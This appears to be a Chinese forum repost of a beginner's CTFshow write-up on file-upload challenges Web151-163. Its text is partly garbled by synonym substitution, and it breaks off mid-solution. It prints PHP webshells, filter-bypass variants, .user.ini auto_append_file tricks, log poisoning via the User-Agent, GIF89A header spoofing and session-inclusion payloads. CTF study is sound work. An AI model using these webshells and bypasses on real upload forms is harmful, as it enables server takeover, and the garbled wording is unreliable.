CTFshow 文件上传 Web151-170复现条记(保姆级复现

[复制链接]
发表于 2025-11-14 02:32:02 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
前情提要:这是博主的第一篇文章,紧张是对于ctfshow中的文件上传标题的复现而写下条记,鉴戒了多少篇文章才复现完全,这也是我想写博客的缘故原由之一,后文会给出链接。假如文中有错误的地方接待各位师傅指正,还请多多包涵QAQ,那废话不多说,让我们开始吧!!

文章1
文章2
文章3
文件上传毛病干系知识

一、简单界说

文件上传毛病是一种常见的网络安全毛病,攻击者可以通过上传恶意文件(如脚本、可实行文件等)来获取对目标体系的控制权或实行未授权的利用。这种毛病通常出现在缺乏适当验证或限定的文件上传功能中。

二、条件条件

1、 文件可上传

2、上传文件可以被Web容器表明实行

3、上传路径可知

————————————————————————————————————————————

CTFshow复现 + 知识扩展

目次

Web 151
Web 152
Web 153
Web 154-155
Web 156
Web 157-158
Web 159
Web 160
Web 161
Web 162-163
Web 164
Web 165
Web 166
Web 167
Web 168
Web 169-170
Web 151 前台校验不可靠 回到目次

考点:前端校验,后端无验证

扩展知识:

前端校验是指在用户提交数据前,通过欣赏器或客户端对数据举行验证,通常利用JavaScript、HTML 表单属性等实现

后端验证是指在吸收到用户提交的数据后,服务器对数据举行校验和过滤,确保数据符合预期

故而,"前端校验,后端无验证"形同虚设,由于前端的验证可以被轻松绕过

复现过程:

1、按F12查察源代码发现只能上传png图片


2、修改为php


3、写个一句话木马

   <?php eval($_POST[1]);?>
  

4、上传一句话木马,并发现上传乐成


5、找到我们上传的一句话木马,即在URL后加上upload/test.php


6、派出我们的HackBar(在Google和Firefox都可以直接安装),查察上级目次发现可疑文件

   1=system("ls ../");
  

这里本人的简单明白是:上传了一句话木马后,我们便拿到了目标服务器的远程控制权限,就可以用下令查察我们所须要的文件了

7、查察可疑文件,拿到flag( •̀ ω •́ )✧

   1=system("tac ../flag.php);
  

Web 152 后端校验要精密 回到目次

考点:前端仍然可以绕过,但是后端会对文件举行校验,须要抓包

个人总结:

前端校验改源码,后端验证抓它包

复现过程:

1、打开我们bp中署理板块的欣赏器


2、发现打不开网站,怎么会事呢(´。_。`),huh你不放行它肯定过不去啊


3、把它放已往发现网站加载出来了( •̀ ω •́ )✧,上传文件试试吧。诶,为什么体现文件格式不对呢,固然啊,它只让你放png,你放个php肯定不可啊,那怎么办呢?要不试试先把php改成png再上传?


诶,发现传上去了

4、将包放到重放器,并改文件png格式为php格式,重放归去


5、访问发现木马乐成实行


6、重复上述利用拿到flag

   1=system("ls ../");
  

   1=system("tac ../flag.php);
  

Web 153 后端校验要精密 回到目次

考点:文件后缀名+黑名单机制,可利用上传user.ini举行文件上传绕过

扩展知识:

1、在文件上传的安全防护中,文件后缀名和黑名单通常是为了防止用户上传恶意文件(如木马或脚本),从而掩护服务器免受攻击:

文件后缀名是文件名末了的部门,用于标识文件范例。文件上传功能中,后端通常会查抄上传文件的后缀名,以确保用户上传的是安全的、符合要求的文件范例

黑名单机制是一种安全计谋,用于克制上传特定范例的文件。比方,网站大概不答应上传以下文件:.php,.jsp,.exe,.zip等等

2、user.ini 文件是 PHP 的一种设置文件,答应开发者为特定的目次设置自界说的 PHP 设置选项,本题中user.ini的作用就在于绕过黑名单机制

复现过程:

1、上传一句话木马图片

   <?php eval($_POST[1]);?>
  

2、接着上传user.ini,内容为auto_append_file=“test.png”。格式可以先改成png,后在抓包时再改返来

   auto_append_file="test.png"
  

3、访问/upload发现上传乐成


4、老连招拿到flag

   1=system("ls ../");
  

   1=system("tac ../flag.php)
  

Web 154-155 后端校验要精密 回到目次

考点:文件内容过滤,过滤的关键字是php

复现过程:

1、既然过滤了php,那我们找一个东西取代php不就可以了吗( ̄︶ ̄)↗,试试用=取代php吧

   <?=eval($_POST[1]);?>
  

2、和上一题同样的利用

   auto_append_file="test.png"
  

3、老例子,访问看看乐成与否


4、拿到flag

   1=system("ls ../");
  

   1=system("tac ../flag.php);
  

Web 156 后端校验要精密 回到目次

考点:文件内容过滤,过滤的关键字是php+[ ]

复现过程:

1、在之前的根本上有过滤了[ ],过滤的[ ]可以用{ }取代

   <?=eval($_POST{1});?>
  

2、照旧上传user.ini

   auto_append_file="test.png"
  

3、访问发现上传乐成


4、好了,去拿flag吧( •̀ ω •́ )✧

   1=system("ls ../");
  

   1=system("tac ../flag.php);
  

Web 157-158 后端校验要精密 回到目次

考点:文件内容过滤,过滤的关键字是php+[ ]+;

复现过程:

1、在此前的根本上又双过滤了;,而在短标签里可以不要;,以是可以直接扒flag下来(坏笑

   <?=system('tac ../f*')?>
  

2、别忘了user.ini

   auto_append_file="test.png"
  

3、我们直接访问,拿flag


Web 159 后端校验要精密 回到目次

考点:文件内容过滤,过滤的关键字是php+[ ]+;+( )

复现过程:

1、在此前的根本上又双叒过滤了( ),那就用反引号取代吧QAQ

   <?=`tac ../f*`?>
  

由于( )被过滤了,以是system也别想活着

2、老例子

   auto_append_file="test.png"
  

3、访问得手


Web 160 后端校验要精密 回到目次

考点:过滤了php,实行函数,反引号等,不能在图片中藏一句话木马,而且过滤了关键字log,要用拼接绕过

复现过程:

1、上传图片和user.ini,图片的内容为<?include"/var/lo"."g/nginx/access.lo"."g"?>

   <?include"/var/lo"."g/nginx/access.lo"."g"?>
  

   auto_append_file="test.png"
  

扩展知识:

<?include"/var/lo"."g/nginx/access.lo"."g"?>是一段 PHP 代码,其作用是包罗(读取并实行)指定路径的文件内容

假如这段代码被放入一个 PHP 文件中并运行,它会实验包罗 /var/log/nginx/access.log 文件的内容,假如乐成,文件内容将作为 PHP 代码分析并实行(假如文件中包罗可实行 PHP 代码)

而且为了应对过滤关键词log,利用了lo"."g举行更换

/var/log/nginx/access.log 是 Nginx 服务器的默认访问日志日志文件路径

2、访问,并修改ua头,用上我们的一句话木马


   <?php eval($_POST[1]);?>
  

3、老办法拿到flag

   1=system("tac ../flag.php);
  

Web 161 后端校验要精密 回到目次

考点:和Web160根本划一,唯一的区别在于后端会检测png文件是否真的为png,以是要加上图片头GIF89A

复现过程:

1、记得加GIF89A( •̀ ω •́ )✧

   GIF89A
<?include"/var/lo"."g/nginx/access.lo"."g"?>
  

   GIF89A
auto_append_file="test.png"
  

2、得吃(~ ̄▽ ̄)~

   1=system("tac ../flag.php);
  

Web 162-163 后端校验要精密 回到目次

考点:本题有三种解法,分别是session包罗,远程文件包罗和data伪协议。这里给出session包罗的题解,详细原理参考https://www.freebuf.com/vuls/202819.html

复现过程:

1、起首正常上传user.ini,抓包后将文件后缀名改回即可,由于还会验证png,以是仍要加上图片头GIF89A

   GIF89A
<?=include"/tmp/sess_wuqiong"?>
  

2、接着上传test,抓包后将文件后缀名改回即可,由于还会验证png,以是仍要加上图片头GIF89A,too

   GIF89A
auto_append_file="test"
  

3、末了搬出脚本

回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表